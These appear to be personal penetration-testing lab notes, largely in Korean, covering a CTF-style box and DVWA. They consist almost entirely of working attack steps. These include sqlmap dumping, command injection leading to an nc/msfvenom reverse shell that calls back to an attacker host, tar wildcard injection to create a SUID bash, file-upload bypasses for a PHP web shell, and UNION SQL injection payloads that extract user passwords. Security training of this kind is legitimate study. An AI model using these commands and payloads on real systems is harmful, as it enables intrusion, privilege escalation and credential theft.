sudo sqlmap -u http://192.168.16.54/history.php?.user=admin

--cookie="PHPSESSID=..." --dump # sql 데이터 확인

http://192.168.16.54/control.php?cmdcntr=id # command injection 확인

cmdcntr= (nc mkfifo Reverse shell URL encode

여러가지 입력)

→ 정상적 때 python3 -c 'import pty; pty.spawn("/bin/bash")'

cd /home/john

ls -la # john directory 확인

file compress # SUID 설정된 파일 확인

→ undefined8 main(void)

{

setuid(0);

setgid(0);

system("/bin/tar cf archive.tar *");

return 0;

}

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > shell.sh

echo " " > "--checkpoint-action=exec=sh shell.sh"

echo " " > --checkpoint=1

→ kali에서

sudo msfvenom -p cmd/unix/reverse_netcat lhost=192.168.16.12 lport=1234 R

내보 payload → reverse 연결, kali에서 nc -lvnp 1234

./compress

dvwa

File upload low

rshell.php 업로드 → 실행

medium

컨텐츠 검증 x 확장자만 jpg, jpeg 인지 확인

→ proxy 이용 똑같이 .php 업로드하고 burpsuite로 intercept

Content-Type: php ⇒ image/jpeg 로 변경

high

컨텐츠, 확장자 확인

php 업로드 → filename = "rshell.php.jpeg" 로 변경

Content-Type = application/x-php 그대로 두고

GIF89a 추가 # php이지만 jpg로 간주

SQL injection low

/?id=2&Submit=Submit#

+ ID / Firstname / Surname 에 저장된 데이터

SQL Query를 통해 출력

입력값에 1' or 1=1 #

+ 모든 data 출력

1' union select 1,2 #

+ 1,2 column 출력

1' union select 1, @@version #

1' union select table_schema, 2 from information_schema.tables #

+ mysql 베이스 정보 확인

1' union select 1, table_schema from information_schema.tables where

table_schema='dvwa' # dvwa 안에 있는 table 확인

1' union select 1, column_name from information_schema.columns where

table_name='users' # users table 에 있는 column 확인

1' union select user, password from dvwa.users #

dvwa.users 안에 있는 user, pw 데이터 확인

sudo hash-identifier (pw) # 이런 방식을 암호화 되어있는지 확인

medium → proxy 단계 추가